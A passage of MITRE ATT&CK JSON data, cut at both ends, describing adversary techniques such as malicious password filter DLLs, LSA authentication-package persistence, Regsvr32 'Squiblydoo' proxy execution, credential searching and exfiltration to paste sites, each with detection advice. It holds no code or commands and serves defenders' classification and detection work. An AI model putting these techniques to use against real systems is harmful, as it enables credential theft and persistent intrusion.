With Function Hooking. Retrieved November 21, 2017.", "source_name": "Clymb3r Function Hook Passwords Sept 2013"}], "modified": "2020-02-11T19:06:18.818Z", "name": "Password Filter DLL", "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", "created": "2020-01-24T14:54:42.757Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1547.002", "url": "https://attack.mitre.org/techniques/T1547/002"}, {"source_name": "Graeber 2014", "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017."}, {"source_name": "Microsoft Configure LSA", "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015."}, {"source_name": "MSDN Authentication Packages", "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.", "modified": "2022-04-20T16:29:36.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Authentication Package", "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "Windows Registry: Windows Registry Key Modification", "Module: Module Load"], "x_mitre_permissions_required": ["Administrator"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-21T12:24:56.148Z", "name": "Regsvr32", "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Casey Smith"], "x_mitre_deprecated": false, "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["Module: Module Load", "Command: Command Execution", "Network Traffic: Network Connection Creation", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Digital Certificate Validation", "Anti-virus", "Application control"], "type": "attack-pattern", "id": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "created": "2020-01-23T19:52:17.414Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/010", "external_id": "T1218.010"}, {"source_name": "FireEye Regsvr32 Targeting Mongolian Gov", "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"}, {"source_name": "LOLBAS Regsvr32", "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.", "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"}, {"source_name": "Microsoft Regsvr32", "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.", "url": "https://support.microsoft.com/en-us/kb/249873"}, {"source_name": "Carbon Black Squiblydoo Apr 2016", "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.", "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", "type": "attack-pattern", "created": "2017-05-31T21:30:19.338Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1002", "url": "https://attack.mitre.org/techniques/T1002"}, {"url": "https://en.wikipedia.org/wiki/List_of_file_signatures", "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", "source_name": "Wikipedia File Header Signatures"}], "modified": "2020-03-30T03:09:45.384Z", "name": "Data Compressed", "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_detection": "Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"modified": "2023-05-04T18:00:33.023Z", "name": "Exfiltration to Text Storage Sites", "description": "Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.  \n\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_contributors": ["Harun K\u00fc\u00dfner"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43", "created": "2023-02-27T22:51:27.101Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1567/003", "external_id": "T1567.003"}, {"source_name": "Pastebin EchoSec", "description": "Ciarniello, A. (2019, September 24). What is Pastebin and Why Do Hackers Love It?. Retrieved April 11, 2023.", "url": "https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Microsoft Threat Intelligence Center (MSTIC)"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", "type": "attack-pattern", "created": "2017-05-31T21:31:02.188Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1081", "url": "https://attack.mitre.org/techniques/T1081"}, {"external_id": "CAPEC-639", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/639.html"}, {"url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.", "source_name": "CG 2014"}, {"url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.", "source_name": "SRD GPP"}, {"source_name": "Specter Ops - Cloud Credential Storage", "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48", "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019."}], "modified": "2021-03-08T10:33:00.910Z", "name": "Credentials in Files", "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "x_mitre_system_requirements": ["Access to files"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884", "type": "attack-pattern", "created": "2020-10-02T16:42:17.482Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1592.002", "url": "https://attack.mitre.org/techniques/T1592/002"}, {"source_name": "ATT ScanBox", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}], "modified": "2021-10-17T16:33:19.596Z", "name": "Software", "description": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Internet Scan: Response Content"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matthew Demaske, Adaptforward"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", "type": "attack-pattern", "created": "2017-05-31T21:31:40.168Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1128", "url": "https://attack.mitre.org/techniques/T1128"}, {"url": "https://technet.microsoft.com/library/bb490939.aspx", "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", "source_name": "TechNet Netsh"}, {"url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html", "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.", "source_name": "Demaske Netsh Persistence"}, {"url": "https://github.com/outflankbv/NetshHelperBeacon", "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.", "source_name": "Github Netsh Helper CS Beacon"}], "modified": "2020-01-24T14:27:28.869Z", "name": "Netsh Helper DLL", "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_system_requirements": ["{{LinkByID|S0108}}"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-30T21:01:41.752Z", "name": "Input Capture", "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}, {"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["John Lambert, Microsoft Threat Intelligence Center"], "x_mitre_detection": "Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Modification", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Process: Process Metadata", "Process: OS API Execution", "Driver: Driver Load"], "x_mitre_permissions_required": ["Administrator", "SYSTEM", "root", "User"], "type": "attack-pattern", "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "created": "2017-05-31T21:30:48.323Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1056", "external_id": "T1056"}, {"source_name": "Adventures of a Keystroke", "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_is_subtechnique": false}, {"modified": "2023-10-15T11:49:40.990Z", "name": "Spearphishing Voice", "description": "Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "SaaS", "Google Workspace"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974", "created": "2023-09-07T21:50:08.827Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1566/004", "external_id": "T1566.004"}, {"source_name": "CISA Remote Monitoring and Management Software", "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"}, {"source_name": "Unit42 Luna Moth", "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.", "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"}, {"source_name": "sygnia Luna Month", "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.", "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams"}, {"source_name": "Proofpoint Vishing", "description": "Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8, 2023.", "url": "https://www.proofpoint.com/us/threat-reference/vishing"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2", "type": "attack-pattern", "created": "2020-10-01T01:48:15.511Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1587.004", "url": "https://attack.mitre.org/techniques/T1587/004"}, {"source_name": "NYTStuxnet", "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"}, {"source_name": "Irongeek Sims BSides 2017", "url": "https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims", "description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020."}], "modified": "2021-04-15T03:07:53.803Z", "name": "Exploits", "description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", "type": "attack-pattern", "created": "2020-10-02T16:49:31.262Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1593.001", "url": "https://attack.mitre.org/techniques/T1593/001"}, {"source_name": "Cyware Social Media", "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e", "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:52:40.958Z", "name": "Social Media", "description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such 